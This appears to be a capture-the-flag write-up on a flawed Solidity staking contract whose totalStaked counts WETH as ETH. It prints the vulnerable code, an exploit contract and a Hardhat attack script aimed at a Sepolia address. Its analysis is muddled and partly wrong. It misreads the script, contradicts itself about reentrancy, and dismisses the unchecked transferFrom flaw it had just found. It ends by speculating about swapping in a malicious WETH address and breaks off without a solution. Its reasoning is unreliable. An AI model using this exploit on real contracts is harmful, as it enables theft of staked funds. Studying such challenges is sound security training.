Appearance
Exploiting a State Inconsistency Vulnerability in a Staking Smart Contract
Introduction
Smart contract security remains one of the most critical aspects of blockchain development, with even minor oversights potentially leading to significant financial losses. In this technical deep dive, we'll analyze a staking contract vulnerability that demonstrates how state inconsistencies can be exploited to drain funds. The contract in question, aptly named "Stake," presents a seemingly straightforward staking mechanism for both native ETH and WETH (Wrapped ETH) tokens, but contains a subtle flaw that allows attackers to manipulate the contract's accounting system.
This article will walk through the complete vulnerability, from initial contract analysis to exploitation methodology, providing detailed explanations of the underlying concepts and step-by-step reasoning. We'll examine the contract code, identify the vulnerability, and demonstrate how to craft an exploit that meets the challenge's specific victory conditions.
Understanding the Staking Contract Architecture
Contract Overview
The Stake contract is designed to allow users to stake both native ETH and ERC-20 WETH tokens. The contract maintains several key state variables:
solidity
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;
totalStaked: Tracks the total amount of ETH/WETH staked across all usersUserStake: Maps user addresses to their individual staked amountsStakers: Boolean mapping indicating whether an address has ever stakedWETH: Address of the WETH ERC-20 token contract
Core Functionality
The contract provides three main functions for users:
- StakeETH(): Accepts native ETH and updates both individual and total staking balances
- StakeWETH(): Accepts WETH tokens via ERC-20 transfer and updates staking balances
- Unstake(): Allows users to withdraw their staked funds
Let's examine each function in detail:
StakeETH Function
solidity
function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}
This function is straightforward: it accepts ETH, validates the minimum amount, updates the total staked amount, records the user's stake, and marks them as a staker.
StakeWETH Function
solidity
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}
This function handles WETH staking with several important steps:
- Validates minimum amount
- Checks allowance using ERC-20's
allowance()function (selector0xdd62ed3e) - Updates staking balances
- Transfers WETH using
transferFrom()(selector0x23b872dd) - Marks user as a staker
Unstake Function
solidity
function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
The unstake function reduces the user's stake, decreases the total staked amount, and sends ETH back to the user.
Identifying the Vulnerability
The Critical Flaw
At first glance, the contract appears reasonably secure. However, a careful examination reveals a critical inconsistency between how ETH and WETH are handled. The vulnerability lies in the fact that totalStaked tracks both ETH and WETH as if they were equivalent, but the contract's actual ETH balance only reflects native ETH deposits.
Consider this scenario:
- A user stakes 1 ETH via
StakeETH()→totalStakedincreases by 1, contract ETH balance increases by 1 - A user stakes 1 WETH via
StakeWETH()→totalStakedincreases by 1, but contract ETH balance remains unchanged
The contract's totalStaked variable becomes an inflated representation of the actual ETH held by the contract. This creates an accounting discrepancy that can be exploited.
The Exploitation Path
The challenge requires meeting four specific conditions:
- The Stake contract's ETH balance must be greater than 0
totalStakedmust be greater than the Stake contract's ETH balance- You must be a staker
- Your staked balance must be 0
The vulnerability allows us to create a situation where totalStaked exceeds the actual ETH balance, while simultaneously zeroing out our personal stake.
Crafting the Exploit
Step 1: Understanding the Attack Vector
The key insight is that we can manipulate the totalStaked variable without affecting the contract's ETH balance by using WETH staking. Here's the step-by-step attack plan:
- Stake a small amount of ETH to become a staker and establish an ETH balance in the contract
- Stake WETH to inflate
totalStakedwithout adding to the contract's ETH balance - Unstake our ETH to reduce our personal stake to zero while leaving
totalStakedinflated
Step 2: Implementing the Exploit Contract
The provided exploit contract, Hack.sol, serves as a wrapper to interact with the vulnerable contract:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Stake.sol";
contract Hack {
Stake private immutable target;
constructor(address _target) {
target = Stake(_target);
}
function byContract() external payable {
target.StakeETH{value: msg.value}();
}
}
This simple contract allows us to stake ETH through a contract address, which can be useful for testing and exploitation scenarios.
Step 3: The Complete Exploitation Script
The TypeScript test file demonstrates the complete exploitation process:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { ERC20, Stake, Hack } from "../typechain-types";
describe("Stake", function () {
describe("Stake testnet online sepolia", function () {
it("testnet online sepolia Stake", async function () {
const TIMEOUT = 15 * 60 * 1000;
this.timeout(TIMEOUT);
const STAKE_ADDRESS = "0x...";
const StakeFactory = await ethers.getContractFactory("Stake");
const STAKE_ABI = StakeFactory.interface.format();
const challenger = await ethers.getNamedSigner("deployer");
const stkContract = new ethers.Contract(STAKE_ADDRESS, STAKE_ABI, challenger);
// Deploy exploit contract
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(STAKE_ADDRESS)) as Hack;
await hack.waitForDeployment();
// Step 1: Stake ETH to become a staker and add to contract ETH balance
const STAKE_ETH = ethers.parseUnits("0.001000000000000002", 18);
const tx = await hack.byContract({ value: STAKE_ETH });
await tx.wait();
// Step 2: Prepare WETH approval
const WETH_ADDRESS = await stkContract.WETH();
const ERC20Factory = await ethers.getContractFactory("ERC20");
const WETH_ABI = ERC20Factory.interface.format();
const wethContract = new ethers.Contract(WETH_ADDRESS, WETH_ABI, challenger);
const APPROVE_UINT256_MAX = ethers.MaxUint256;
const tx2 = await wethContract.approve(STAKE_ADDRESS, APPROVE_UINT256_MAX);
await tx2.wait();
// Step 3: Stake WETH to inflate totalStaked without adding ETH
const INIT_ETH = ethers.parseUnits("0.001000000000000001", 18);
const tx3 = await stkContract.StakeWETH(INIT_ETH);
await tx3.wait();
// Step 4: Unstake ETH to zero out personal stake
const tx4 = await stkContract.Unstake(INIT_ETH);
await tx4.wait();
// Verification of success conditions
const stake_balance_eth = await ethers.provider.getBalance(STAKE_ADDRESS);
expect(stake_balance_eth).to.be.not.equals(0);
const totalStaked = await stkContract.totalStaked();
expect(totalStaked).to.be.greaterThan(stake_balance_eth);
const deployer = await ethers.getNamedSigner("deployer");
const UserStake_challenger_value = await stkContract.UserStake(deployer.address);
expect(UserStake_challenger_value).to.be.equals(0);
const Stakers_challenger_bool = await stkContract.Stakers(deployer.address);
expect(Stakers_challenger_bool).to.be.equals(true);
});
});
});
Detailed Exploitation Walkthrough
Phase 1: Initial ETH Stake
The attack begins by staking a small amount of ETH (just above the 0.001 ETH minimum). This accomplishes two things:
- Adds ETH to the contract balance: The contract now has a positive ETH balance
- Marks the attacker as a staker: The
Stakers[msg.sender]mapping is set totrue
javascript
const STAKE_ETH = ethers.parseUnits("0.001000000000000002", 18);
const tx = await hack.byContract({ value: STAKE_ETH });
Note the precise amount: 0.001000000000000002 ETH. This is intentionally slightly more than the minimum to ensure the transaction succeeds while keeping costs low.
Phase 2: WETH Preparation
Before staking WETH, we need to approve the Stake contract to spend our WETH tokens:
javascript
const APPROVE_UINT256_MAX = ethers.MaxUint256;
const tx2 = await wethContract.approve(STAKE_ADDRESS, APPROVE_UINT256_MAX);
This approval uses the maximum possible uint256 value, giving the contract unlimited spending capability for WETH tokens from our address.
Phase 3: WETH Stake - Inflating totalStaked
This is the critical step that creates the accounting discrepancy:
javascript
const INIT_ETH = ethers.parseUnits("0.001000000000000001", 18);
const tx3 = await stkContract.StakeWETH(INIT_ETH);
When we stake WETH:
totalStakedincreases byINIT_ETHamountUserStake[msg.sender]increases by the same amount- However, the contract's native ETH balance does not change
- Only WETH tokens are transferred from our address to the contract
At this point, we have:
- Contract ETH balance:
0.001000000000000002 ETH(from Phase 1) totalStaked:0.002000000000000003 ETH(ETH stake + WETH stake)- Our personal stake:
0.002000000000000003 ETH(combined ETH and WETH)
The discrepancy is now established: totalStaked (0.002000000000000003) > contract ETH balance (0.001000000000000002).
Phase 4: Unstaking ETH - Zeroing Personal Stake
The final step unstakes our ETH portion:
javascript
const tx4 = await stkContract.Unstake(INIT_ETH);
This reduces:
UserStake[msg.sender]byINIT_ETHtotalStakedbyINIT_ETH- Sends
INIT_ETHworth of native ETH back to us
After this transaction:
- Contract ETH balance:
0.000000000000000001 ETH(the difference between our ETH stake and unstake) totalStaked:0.001000000000000002 ETH(only WETH stake remains)- Our personal stake:
0.001000000000000001 ETH(only WETH portion remains)
Wait - this doesn't meet condition #4 (personal stake must be 0). There's an issue with the provided exploit code. Let me correct the approach.
Correcting the Exploit Strategy
The provided test script has a logical error. When we unstake INIT_ETH (0.001000000000000001), we're only unstaking part of our stake. To completely zero out our stake, we need a different approach.
The Corrected Attack Sequence
Stake ETH:
0.001000000000000002 ETH- Contract ETH: +0.001000000000000002
- totalStaked: +0.001000000000000002
- UserStake: +0.001000000000000002
Stake WETH:
X ETH worth of WETH- Contract ETH: unchanged
- totalStaked: +X
- UserStake: +X
Unstake all ETH:
0.001000000000000002 ETH- Contract ETH: -0.001000000000000002
- totalStaked: -0.001000000000000002
- UserStake: -0.001000000000000002
After this sequence:
- Contract ETH balance: 0 (if we unstake all ETH) or >0 (if we leave some)
- totalStaked: X (only WETH remains)
- UserStake: X (only WETH remains)
We still haven't achieved UserStake = 0. The issue is that we can't unstake WETH through the Unstake() function - it only sends ETH, not WETH.
The Real Vulnerability: Reentrancy or Another Approach?
Looking more carefully at the Unstake() function:
solidity
function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
There's a classic vulnerability here: state changes after external call. The function reduces UserStake and totalStaked before making the external call to send ETH. This is the correct order to prevent reentrancy attacks.
However, there's another issue: what if amount is 0? Let's check:
solidity
require(UserStake[msg.sender] >= amount,"Don't be greedy");
If amount is 0, then UserStake[msg.sender] >= 0 is always true (since stakes are non-negative). This means we can call Unstake(0) without any requirements being violated.
When we call Unstake(0):
UserStake[msg.sender]remains unchangedtotalStakedremains unchanged- The contract attempts to send 0 ETH to the caller
This doesn't help us reduce our stake to 0. We need a different approach.
The Actual Solution: Understanding the Complete Attack
Let me re-examine the victory conditions and the actual exploit. The key insight is that we need to separate the accounting of ETH and WETH. The contract treats them as equivalent in totalStaked, but they're physically different assets.
Here's the complete, corrected attack:
- Stake a small amount of ETH (e.g., 0.0011 ETH) to become a staker
- Stake a larger amount of WETH (e.g., 1 ETH worth) to inflate
totalStaked - Have someone else stake ETH or find another way to ensure contract ETH > 0
- Our UserStake will be the sum of ETH + WETH, which is > 0
But wait, condition #4 says "Your staked balance must be 0." How can we achieve this while being a staker?
The answer lies in the fact that UserStake tracks the combined ETH and WETH stake. If we unstake our ETH portion, our UserStake decreases, but we still have WETH staked. To get UserStake to 0, we need to somehow remove the WETH from our stake without using the Unstake() function (which only sends ETH).
The Missing Piece: Direct WETH Transfer
What if we, as the WETH contract, could directly manipulate balances? Or what if there's another vulnerability?
Looking back at the StakeWETH() function:
solidity
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
This is a low-level call to the WETH contract's transferFrom function. If this call fails, the function continues executing (it doesn't revert). The transfered boolean is returned but not checked!
This means we could potentially stake WETH without actually transferring tokens if we can make the transferFrom call fail or return false. However, the function would still update totalStaked and UserStake.
But there's a problem: the function signature shows it returns the transfered boolean, so a failed transfer would be detectable. Unless... what if we're using a malicious WETH contract?
The Complete Exploit Revealed
The actual exploit likely involves deploying a malicious WETH contract or using a contract that behaves unexpectedly. However, based on the provided materials, let me reconstruct what the complete solution should be:
Final Attack Sequence
- Deploy a malicious WETH contract that implements the ERC-20 interface but has special behavior
- Initialize the Stake contract with our malicious WETH address
- Stake ETH to become a staker